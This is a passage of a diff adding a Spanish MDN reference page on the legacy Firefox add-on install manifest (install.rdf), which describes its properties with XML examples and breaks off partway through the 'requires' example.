+          <li><a href="/es/docs/Mozilla/Add-ons/Distribution/Resources_for_publishers">Resources for publishers</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/Listing">Creating an appealing listing</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/AMO/Policy/Reviews">Review policies</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/AMO/Policy/Agreement">Developer agreement</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/AMO/Policy/Featured">Featured add-ons</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/Distribution/Retiring_your_extension">Retiring your extension</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Distributing add-ons</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Sideloading_add-ons">For sideloading</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps">For desktop apps</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise">For an enterprise</a></li>
+        </ol>
+      </details>
+    </li>
+    <li><a href="https://discourse.mozilla.org/c/add-ons"><strong>Community and Support</strong></a></li>
+    <li class="toggle">
+      <details>
+        <summary>Channels</summary>
+        <ol>
+          <li><a href="https://blog.mozilla.org/addons">Add-ons blog</a></li>
+          <li><a href="https://discourse.mozilla.org/c/add-ons">Add-on forums</a></li>
+          <li><a href="http://stackoverflow.com/questions/tagged/firefox-addon">Stack Overflow</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/#Contact_us">Contact us</a></li>
+        </ol>
+      </details>
+    </li>
+  </ol>
+</section><div class="warning"><p>Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.</p><p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.</strong></p><p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android. </strong></p><p>Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">"Compatibility Milestones" document</a> for more information.</p><p>A wiki page containing <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, is available to help developers transition to the new technologies.</p></div><p></p>
+
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+
+<p>De aquí en adelante a los <a class="external" href="http://addons.mozilla.org"><em>addon</em></a> les llamaremos <em>complemento</em>. En algunos navegadores Mozilla, dependiendo del idioma español descargado para traducir la interfaz del navegador, se leerá como <em>agregado</em> en <em>Herramientas-&gt;Agregado</em>.</p>
+
+<p>Un manifiesto de instalador es un archivo agregado que la aplicación XUL (Administrador-Habilitado) usa para determinar la información acerca de como un <em>agregado</em> ó <em>complemento</em> (Add-on) ha de ser instalado. Este archivo contiene <em>metadatos</em> que identifican el complemento/agregado, provee información del creador de éste, donde se puede hallar más información acerca del complemento/agregado, con cuales versiones de qué aplicaciones es compatible, como debería ser actualizado y cosas por el estilo.</p>
+
+<p>El formato de un mainfiesto de instalador es RDF/XML.</p>
+
+<p>El archivo debe ser llamado <code>install.rdf</code> y ubicarse en el nivel superior del archivo XPI de un complemento.</p>
+
+<h3 id="Disposicion" name="Disposicion">Disposición</h3>
+
+<p>La disposición básica de un manifiesto de instalador es algo como esto:</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+     xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;!-- properties --&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+
+<p>Algunas propiedades son requeridas, otras son opcionales; algunas tienen cadenas simples, otras son recursos complejos.</p>
+
+<h3 id="Referencia_requerida_en_las_propiedades" name="Referencia_requerida_en_las_propiedades">Referencia de propiedades requeridas</h3>
+
+<p>Su manifiesto de instalador debe especificar estas propiedades correctamente, de lo contrario su agregado/complemento podría no instalarse.</p>
+
+<h4 id="id" name="id">id</h4>
+
+<p>La id de la extension, la cual es un:</p>
+
+<ul>
+ <li>GUID (generada usando guidgen en Windows, uuidgen en Linux and makeuuid en Solaris) (Firefox 1.0)</li>
+ <li><strong>Firefox 1.5 y superiores:</strong> Una cadena con fomato del tipo: <code><a class="link-mailto" href="mailto:nombreextension@organizacion.tld" rel="freelink">nombreextension@organizacion.tld</a></code></li>
+</ul>
+
+<p>Este último formato es significativamente más fácil de generar y manipular. Firefox 1.5 tiene una comprobación para asegurarse que su id caiga dentro de un formato u otro y rechazará la instalació de complemetos/agregados que tengan ids mal formadas.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:id&gt;<a class="link-mailto" href="mailto:miextension@misitio.com" rel="freelink">miextension@misitio.com</a>&lt;/em:id&gt;
+
+&lt;em:id&gt;{daf44bf7-a45e-4450-979c-91cf07434c3d}&lt;/em:id&gt;
+</pre>
+
+<h4 id="version" name="version">versión</h4>
+
+<p>La cadena de versión identificando la versión del complemento que está siendo proveído.</p>
+
+<p>Para Firefox/Thunderbird 1.0, el formato debe cumplir las reglas especificadas en <a class="external" href="http://developer.mozilla.org/en/docs/Extension_Versioning%2C_Update_and_Compatibility"><em>Extensión de versiones, Actualización y Compatibilidad</em></a>. Para Firefox/Thunderbird 1.5, ver <a class="external" href="http://developer.mozilla.org/en/docs/Toolkit_version_format"><em>Herramientas para formato de versión</em></a>.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:version&gt;2.0&lt;/em:version&gt;
+
+&lt;em:version&gt;1.0.2&lt;/em:version&gt;
+
+&lt;em:version&gt;0.4.1.2005090112&lt;/em:version&gt;
+
+</pre>
+
+<p><strong>Firefox 1.5 / XULRunner 1.8</strong> - Complementos/agregados que no usan un formato de versión válido no serán instalados. El formato de la versión es diferente a, pero compatible con, 1.0's.</p>
+
+<p><strong>Para complementos alojados en addons.mozilla.org</strong> - La actualización del sitio web de Mozilla puede reinstalar su complemento/agregado y corregir o rechazar versiones con cadenas de versión malformadas.</p>
+
+<h4 id="type" name="type">tipo</h4>
+
+<p>Un valor de tipo entero representa el tipo de complemento/agregado.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td>2</td>
+   <td>Extensiones</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Temas</td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td>Local</td>
+  </tr>
+  <tr>
+   <td>16</td>
+   <td>Plugin</td>
+  </tr>
+  <tr>
+   <td>32</td>
+   <td><a class="external" href="http://developer.mozilla.org/en/docs/Multiple_Item_Packaging">Paquete o programa de tipos múltiples</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:type&gt;2&lt;/em:type&gt;
+</pre>
+
+<p><em><span style="font-family: Helvetica;"><strong>Nuevo en </strong></span></em><strong>Firefox 1.5</strong> Esta propiedad fue añadida para Firefox 1.5, y es requerida únicamente para otros tipos de complementos/agregados diferentes a Extensiones y Temas.</p>
+
+<h4 id="targetApplication" name="targetApplication">Aplicación destino (targetApplication)</h4>
+
+<p>Un objeto que especifica una aplicación a la cual se dirije este complemento. Esto significa que el complemento trabajará con la aplicación definida por la propiedad id (<code>&lt;em:id&gt;</code>) especificada (para una lista compensiva de IDs de aplicaciones y sus valores máximo y mínimo (min/maxVersions) véase <a class="link-https" href="https://addons.mozilla.org/es-ES/firefox/pages/appversions">"Versiones de aplicaciones válidas para Desarrolladores de complementos/agregados"</a>, desde la versión mínima (<code>&lt;em:minVersion&gt;</code>) hasta e incluyendo la versión máxima (<code>&lt;em:maxVersion&gt;</code>). Estas cadenas para versión tienen el mismo formato que la <a href="#version">propiedad de versión</a> y será comparada con la versión de la aplicación; esto permite al autor de la extensión especificar, cuáles extensiones y con qué versiones de Firefox han sido probadas.</p>
+
+<p>Nota: Las extensiones compatibles con Firefox 3.5 deberán especificar un <em>maxVersion</em> de 3.5 *, por lo que son compatibles con actualizacinoes de seguridad de estabilidad. Para Firefox 3.0, debiera usarse un <em>maxVersion</em> de 3.0.* Las extensiones compatibles únicamente con Firefox o Thunderbird 2.0 deberán especificar un <em>maxVersion</em> de 2.0.0*.</p>
+
+<p>El manifiesto de instalador debe especificar al menos uno de estos objetos y podría especificar más si el complemento/agregado tiene múltiples aplicaciones destino que soportan al Administrador del complemento/agregado. (por ejemplo Firefox y Thunderbird).</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:targetApplication&gt;
+ &lt;Description&gt;
+  &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt; <span class="comment">Firefox</span>
+  &lt;em:minVersion&gt;1.5&lt;/em:minVersion&gt;
+  &lt;em:maxVersion&gt;2.0.0.*&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+&lt;/em:targetApplication&gt;
+</pre>
+
+<h4 id="name" name="name"><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_3_for_developers" rel="internal">Firefox 3</a></span></span> Las aplicaciones basadas en Gecko 1.9 te permiten usar la id especial <code>targetApplication </code>id <code class="plain">toolkit@mozilla.org</code> para indicar que el complemento/agregado es compatible con cualquier aplicación tipo toolkit que tenga valores similares de <code>minVersion</code> y <code>maxVersion</code>.</h4>
+
+<h4 id="name" name="name">nombre (name)</h4>
+
+<p>El nombre del complemento, previsto para mostrarlo en el interfaz de usuario (UI = User Interface).</p>
+
+<p><strong>Ejemplos </strong></p>
+
+<pre class="eval">&lt;em:name&gt;Mi Extension&lt;/em:name&gt;
+</pre>
+
+<h3 id="Referencia_de_Propiedades_Opcionales" name="Referencia_de_Propiedades_Opcionales">Referencia de propiedades opcionales</h3>
+
+<p>Podrías necesitar proveer estas propiedades, dependiendo de las capacidades de tu complemento/agregado.</p>
+
+<h4 class="editable" id="localizado_(localized)"><span>localizado (localized)</span></h4>
+
+<p> </p>
+
+<div class="editIcon"><a href="/../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p> </p>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_3_for_developers" rel="internal">Firefox 3</a></span></span> Te permite localizar el nombre de tu complemento/agregado, descripción, contribuidores y otros metadatos. La descripción de localized debe especificar al menos un<code> em:locale</code> que indique cuáles locales usan esta información.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<p>Esto declara un set de metadatos de un complemento/agregado para mostrar en pantalla cuando la aplicación se está ejecutando en el local de-DE.</p>
+
+<pre>&lt;em:localized&gt;
+  &lt;Description&gt;
+    &lt;em:locale&gt;de-DE&lt;/em:locale&gt;
+    &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+    &lt;em:description&gt;Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.&lt;/em:description&gt;
+  &lt;/Description&gt;
+&lt;/em:localized&gt;
+</pre>
+
+<p>Las siguientes propiedades que son descritas en otra parte en ésta página pueden ser incluidas en la propiedad localized:</p>
+
+<ul>
+ <li>name (nombre)</li>
+ <li>description (descripción)</li>
+ <li>creator (creador)</li>
+ <li>homepageURL (URL de la página de inicio)</li>
+ <li>developer (desarrollador)</li>
+ <li>translator (traductor)</li>
+ <li>contributor (contribuidor)</li>
+</ul>
+
+<p>Más documentos pueden hallarse en <a href="../../../../en/Localizing_extension_descriptions" rel="internal">Localización de descripción para extensiones</a>.</p>
+
+<h4 id="description" name="description">descripción (description)</h4>
+
+<p>Una corta descripción del complemento/agregado - Prevista para mostrar en la interfaz de usuario. Esta descripción debe encajar en una corta linea de texto..</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:description&gt;Herramienta Avanzada foo.&lt;/em:description&gt;
+</pre>
+
+<h4 id="creator" name="creator">creator</h4>
+
+<p>El nombre del creador/desarrollador principal - Prevista para mostrar en la interfaz de usuario.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:creator&gt;John Doe&lt;/em:creator&gt;
+</pre>
+
+<p>ó</p>
+
+<pre class="eval">&lt;em:creator&gt;El Equipo Extensión &lt;/em:creator&gt;
+</pre>
+
+<h4 class="editable" id="developer"><span>developer</span></h4>
+
+<div class="editIcon"><a href="/../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_2_for_developers" rel="internal">Firefox 2</a></span></span> El/los nombre(s) de co-desarrolladores. Se deben especificar mas de uno de estos valores para especificar múltiples desarrolladores.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:developer&gt;Jane Doe&lt;/em:developer&gt;
+&lt;em:developer&gt;Koos van der Merwe&lt;/em:developer&gt;
+</pre>
+
+<h4 class="editable" id="translator"><span>translator</span></h4>
+
+<div class="editIcon"><a href="/../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_2_for_developers" rel="internal">Firefox 2</a></span></span> El/los nombre(s) de traductores. Se deben especificar mas de uno de estos valores para especificar múltiples traductores.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:translator&gt;Janez Novak&lt;/em:translator&gt;
+&lt;em:translator&gt;Kari Nordmann&lt;/em:translator&gt;
+</pre>
+
+<h4 id="contributor" name="contributor">contributor</h4>
+
+<p>El/los nombre(s) de contribuidores adicionales. Se deben especificar mas de uno de estos valores para especificar múltiples contribuidores.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:contributor&gt;John Doe&lt;/em:contributor&gt;
+
+&lt;em:contributor&gt;John Doe&lt;/em:contributor&gt;
+&lt;em:contributor&gt;Jane Doe&lt;/em:contributor&gt;
+&lt;em:contributor&gt;Elvis Presley&lt;/em:contributor&gt;
+</pre>
+
+<h4 id="homepageURL" name="homepageURL">homepageURL</h4>
+
+<p>Un enlace a la página inicio del complemento/agregado - Prevista para mostrar en la interfaz de usuario.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:homepageURL&gt;<span class="nowiki">http://www.foo.com/</span>&lt;/em:homepageURL&gt;
+</pre>
+
+<h4 id="updateURL" name="updateURL">updateURL</h4>
+
+<p>Es un enlace a un archivo de manifiesto para actualización personalizada que especifica la disponibilidad de actualizaciones para el complemento/agregado. El fomato se describe abajo. Si está activado el administrador del complemento/agregado periódicamente verificará con este archivo de manifiesto si hay disponibles versiones más recientes.</p>
+
+<div class="warning"><strong>Atención:</strong> Se recomienda fuertemente que el <code>updateURL</code> sea un enlace HTTPS (seguro). Si no es seguro, las updateURL pueden ser secuestradas por un archivo malicioso- <code>update.rdf</code>- permitiendo a malwares (codigo dañino) infiltrarse en la computadora de los usuarios. Alternativamente, usted puede alojar su extensión en <a class="external" href="http://addons.mozilla.org">AMO</a> y dejar completamente la <code>updateURL</code>. Esto provee actualizaciones seguras automáticamente.</div>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_3_for_developers" rel="internal">Firefox 3</a></span></span> Por razones de seguridad, las aplicaciones en Gecko 1.9 requieren que si al especificar una <code>updateURL</code>, esta debe ser un URL tipo https, o deberás incluir un <code><a href="/../../../../en/Install_Manifests#updateKey" title="../../../../en/Install_Manifests#updateKey">updateKey</a></code>.</p>
+
+<p>Su servidor debe enviar este archivo como <code>text/rdf</code>, text/xml ó aplicación/xml+rdf; o el analizador de actualizaciones no funcionará. </p>
+
+<p>El administrador de complementos/agregados reemplazará los siguientes valores dentro de la URL en caso que desees generar la respuesta RDF dinámicamente, por ejemplo al usar PHP o CGI:</p>
+
+<table>
+ <tbody>
+  <tr>
+   <td><code>%REQ_VERSION%</code></td>
+   <td>La versión de la solicitud. Actualmente 1</td>
+  </tr>
+  <tr>
+   <td><code>%ITEM_ID%</code></td>
+   <td>La <code>id</code> del complemento/agregado que está siendo actualizado</td>
+  </tr>
+  <tr>
+   <td><code>%ITEM_VERSION%</code></td>
+   <td>La <code>versión</code> del complemento/agregado que está siendo actualizado</td>
+  </tr>
+  <tr>
+   <td><code>%ITEM_MAXAPPVERSION%</code></td>
+   <td>La <code>maxVersion</code> del objeto <code>targetApplication</code> que corresponde a la aplicación actual para el complemento/agregado que está siendo actualizado.</td>
+  </tr>
+  <tr>
+   <td><code>%ITEM_STATUS%</code></td>
+   <td><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_2_for_developers" rel="internal">Firefox 2</a></span></span> Lista separadas por comas de los complementos, estado de funcionamiento de las aplicaciones. Contiene al menos ya sea <code>userEnabled</code> o <code>userDisabled</code> mas cualquier cantidad de <code>incompatible</code>, <code>blockslisted</code> o <code>needsDependencies</code>.</td>
+  </tr>
+  <tr>
+   <td><code>%APP_ID%</code></td>
+   <td>La <code>id</code> de la aplicación actual</td>
+  </tr>
+  <tr>
+   <td><code>%APP_VERSION%</code></td>
+   <td>La <code>versión</code> de la aplicación para chequear las actualizaciones</td>
+  </tr>
+  <tr>
+   <td><code>%CURRENT_APP_VERSION%</code></td>
+   <td><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_3.5_for_developers" rel="internal">Firefox 3.5</a></span></span> La <code>versión</code> de la aplicación actual</td>
+  </tr>
+  <tr>
+   <td><code>%APP_OS%</code></td>
+   <td><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_1.5_for_developers" rel="internal">Firefox 1.5</a></span></span> El valor de <code><a href="../../../../en/OS_TARGET" rel="internal">OS_TARGET</a></code> del sistema Firefox, identificando el sistema operativo en el que se está usando.</td>
+  </tr>
+  <tr>
+   <td><code>%APP_ABI%</code></td>
+   <td><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_1.5_for_developers" rel="internal">Firefox 1.5</a></span></span> El valor del  <code><a href="../../../../en/XPCOM_ABI" rel="internal">TARGET_XPCOM_ABI</a></code> valor del sistema Firefox, identificando la combinación compilador/arquitectura usada para compilar la aplicación actual.</td>
+  </tr>
+  <tr>
+   <td><code>%APP_LOCALE%</code></td>
+   <td><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_3_for_developers" rel="internal">Firefox 3</a></span></span> El local actual de la aplicación.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:updateURL&gt;<span class="nowiki">http://www.foo.com/update.cgi?id=%ITEM_ID%&amp;amp;version=%ITEM_VERSION%</span>&lt;/em:updateURL&gt;
+&lt;em:updateURL&gt;<span class="nowiki">http://www.foo.com/extension/windows.rdf</span>&lt;/em:updateURL&gt;
+</pre>
+
+<p><strong>Para complementos/agregados alojados en addons.mozilla.org:</strong> No debe una propiedad <em>updateURL</em>. Por defecto, las aplicaciones Mozilla que usan el administrador de complementos/agregados (tales como Firefox y Thunderbird) enviarán peticiones de actualización a <code>addons.mozilla.org</code> usando el servicio web predeterminado. Cada vez que usted suba o publique una nueva versión de su complemento/agregado, o cambie los parámetros de compatibilidad mediante la interfaz de autor, su manifiesto de actualización será generado automáticamente.</p>
+
+<p><strong>Formato del manifiesto de actualización:</strong> El manifiesto de actualización es una fuente de datos RDF/XML. Para ejemplos de un manifiesto de actualización, véase <a class="external" href="http://developer.mozilla.org/en/docs/Extension_Versioning%2C_Update_and_Compatibility#Custom_Update_RDF_Format">Versiones de Extensión, Actualización y Compatibilidad</a> y <a class="external" href="http://developer.mozilla.org/en/docs/Enabling_Extension_Updates_%28external%29">Habilitación de actualización de extensiones (externas)</a>.</p>
+
+<h4 class="editable" id="Clave_de_actualización_(updateKey)"><span>Clave de actualización (updateKey</span>)</h4>
+
+<div class="editIcon"><a href="../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p> </p>
+
+<div style="margin: 10px 0px; padding: 0px 10px; overflow: hidden; background-color: rgb(254, 244, 156); font-weight: bold; text-align: center;">
+<p style="margin: 4px 0px;">Introducido en Gecko 1.9</p>
+
+<div>Aplica para Firefox 3 y Thunderbird 3 o más recientes</div>
+</div>
+
+<div style="margin: 10px 0px; padding: 0px 10px; overflow: hidden; background-color: rgb(254, 244, 156); font-weight: bold; text-align: center;">
+<p style="margin: 4px 0px;"><span class="lang lang-en">Este artículo cubre características introducidas en <a href="../../../../en/Firefox_3_for_developers" rel="internal">Firefox 3</a></span></p>
+</div>
+
+<p> </p>
+
+<p>Para mantener la seguridad de las actualizaciones de los datos rdf que son recuperados de http plan debes usa firmas digitales para verificar el contenido de los datos. Con este fin debes incluir la parte pública de la clave criptográfica en una entrada de updateKey en el archivo install.rdf del complemento/agregado. Esta puede generarse usando la herramienta <a href="../../../../en/McCoy" rel="internal">McCoy</a>. Cualquier linea descontinuada y espacio en blanco como parte de esta entrada será ignorada.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval"> &lt;em:updateKey&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK426erD/H3XtsjvaB5+PJqbhj
+               Zc9EDI5OCJS8R3FIObJ9ZHJK1TXeaE7JWqt9WUmBWTEFvwS+FI9vWu8058N9CHhD
+               NyeP6i4LuUYjTURnn7Yw/IgzyIJ2oKsYa32RuxAyteqAWqPT/J63wBixIeCxmysf
+               awB/zH4KaPiY3vnrzQIDAQAB&lt;/em:updateKey&gt;
+</pre>
+
+<h4 id="optionsURL" name="optionsURL">optionsURL</h4>
+
+<p>La <code><a class="external" rel="freelink">chrome://</a></code> URL del cuadro de diálogo de opciones de la extensión. Es útil únicamente para extensiones. Si esta propiedad es especificada, cuando la extensión es seleccionada en la lista de extensiones, el botón de opción está habilitado y mostrará esto:</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:optionsURL&gt;<a class="external" rel="freelink">chrome://miext/content/options.xul</a>&lt;/em:optionsURL&gt;
+</pre>
+
+<h4 id="aboutURL" name="aboutURL">aboutURL</h4>
+
+<p>La <code><a class="external" rel="freelink">chrome://</a></code> URL del cuadro de diálogo acerca de la extensión, Es útil únicamente para extensiones. Si esta propiedad es especificada, cuando la extensión es seleccionada en la lista de extensiones, el enlace acerca de... en el menú contextual del complemento/agregado mostrará este diálogo, mas bien por defecto.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:aboutURL&gt;<a class="external" rel="freelink">chrome://myext/content/about.xul</a>&lt;/em:aboutURL&gt;
+</pre>
+
+<h4 id="iconURL" name="iconURL">iconURL</h4>
+
+<p>Un <code><a class="external" rel="freelink">chrome://</a></code> URL de icono 32x32 para mostrar en la lista de complementos/agregados. Si esta propiedad no es especificada, se usará un icono por defecto.</p>
+
+<pre class="eval">&lt;em:iconURL&gt;<a class="external" rel="freelink">chrome://miext/skin/icon.png</a>&lt;/em:iconURL&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> Par que el ejemplo de arriba funcione deberás agregar además una línea de <code>skin package</code> a tu archivo <code>chrome.manifest</code>. Véase <a href="../../../../en/Chrome_Registration#skin" rel="internal">Registro de Chrome#Pieles</a>. Alternativamente puedes ubicar tu icono en el directorio especificado en su linea de <code>content package</code> (contenido del paquete).</div>
+
+<h4 id="hidden" name="hidden">hidden</h4>
+
+<p>Valor booleano que cuando es <code>true</code> (verdadero) provoca que el complemento/agregado no se muestre en la lista de complementos/agregados, cuando es proveído el complemento/agregado se instalará en el <a class="external" href="http://developer.mozilla.org/es/docs/Instalar_el_manifest#Acceso_de_.C3.A1rea_restringida">Area de Acceso Restringido</a> (entonces no trabaja como un complemento/agregado instalado en el perfil). Esto es para la integración de grandes aplicaciones donde no tiene sentido tener una lista de aplicaciones.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre class="eval">&lt;em:hidden&gt;true&lt;/em:hidden&gt;
+</pre>
+
+<h4 class="editable" id="targetPlatform"><span>targetPlatform</span></h4>
+
+<div class="editIcon"><a href="../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_1.5_for_developers" rel="internal">Firefox 1.5</a></span></span> Una cadena que especifica la plataforma que el complemento/agregado soporta. Contiene uno u otro de los valores de <a href="../../../../en/OS_TARGET" rel="internal">OS_TARGET</a> solo ó combinado con <a href="../../../../en/XPCOM_ABI" rel="internal">TARGET_XPCOM_ABI</a>, separados por un guión bajo (_).</p>
+
+<p>Puedes especificar propiedades para múltiples targetPlatform por manifiesto. Si algún valor concuerda con los parámetros de construcción de la aplicación, será instalado; si no, el usuario recibira un apropiado mensaje de error.</p>
+
+<p><strong>Ejemplos</strong></p>
+
+<pre>&lt;em:targetPlatform&gt;WINNT_x86-msvc&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;Linux&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;Darwin_ppc-gcc3&lt;/em:targetPlatform&gt;
+
+&lt;em:targetPlatform&gt;SunOS_sparc-sunc&lt;/em:targetPlatform&gt;
+</pre>
+
+<p>Usualmente, usarías únicamente la parte OS para temas o para extensiones que no son totalmente para plataforma cruzada. Para extensiones que incluyen componentes binarios (compilados), nunca deberá usar el OS solo, sino incluir el <a href="../../../../en/XPCOM_ABI" rel="internal">ABI (s)</a> con el cual compilaste los componentes. Si deseas incluir múltiples versiones de los componentes, deberías también usar <a href="../../../../en/Bundles#Platform-specific_Subdirectories" rel="internal">Subdirectorios de Plataforma-específica.</a></p>
+
+<p><strong>Notas</strong></p>
+
+<ul>
+ <li>En el mismo archivo de manifiesto, podrías incluso mezclar valores con y sin ABI. Si un valor para el OS (sistema operativo) de la aplicación encuentra que requiere algún ABI específico, el ABI se considera importante para el sistema operativo y la aplicación rechazará la instalación del complemento/agregado si no encuentra relación en la combinación OS/ABI. Esto significa que si todos los ejemplos anteriores pudieran ocurrir en un solo manifiesto, el complemento/agregado se instalará en cualquier versión linux de la aplicación, a pesar de su ABI, pero no en una versión Windows Cygwin.</li>
+ <li>Quizás encuentres versiones de Firefox y Thunderbird para las que desconozcas sus ABI (la mayoría puertos hacia plataformas raras ó versiones no oficiales). Estas versiones rechazarán instalar cualquier complemento/agregado que requiera un ABI específico para sus plataformas.</li>
+</ul>
+
+<p>Esta propiedad fué agregada para el Firefox/Thunderbird 1.5. Las versiones previas de estas aplicaciones ignorarán las restricciones e instalarán el complemento/agregado a pesar de la plataforma.</p>
+
+<h4 class="editable" id="requires"><span>requires</span></h4>
+
+<div class="editIcon"><a href="../../../../en/Install_Manifests#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><span class="lang lang-en"><span style="background-color: #ffffe1; border: 1px solid #818151; font-size: x-small; padding: 2px; white-space: nowrap;">Nuevo en <a href="../../../../en/Firefox_2_for_developers" rel="internal">Firefox 2</a></span></span> Este apartado tiene una sintaxis similar a la de <code>&lt;em:targetApplication&gt;</code>. Si el complemento/agregado especificado por el apartado <code>&lt;em:id&gt;</code> no es instalado o tienes una versión incompatible, el administrador de extensiones deshabilitará tu extensión y mostrará el mensaje "Requiere items adicionales". Puedes poner tantos apartados <code>&lt;em:requires&gt;</code> como quieras. Tu extensión será deshabilitada si cualquiera de los requisito especificados falla.</p>
+
+<p><strong>Ejemplo</strong></p>
+
+<pre>&lt;em:requires&gt;
+   &lt;Description&gt;
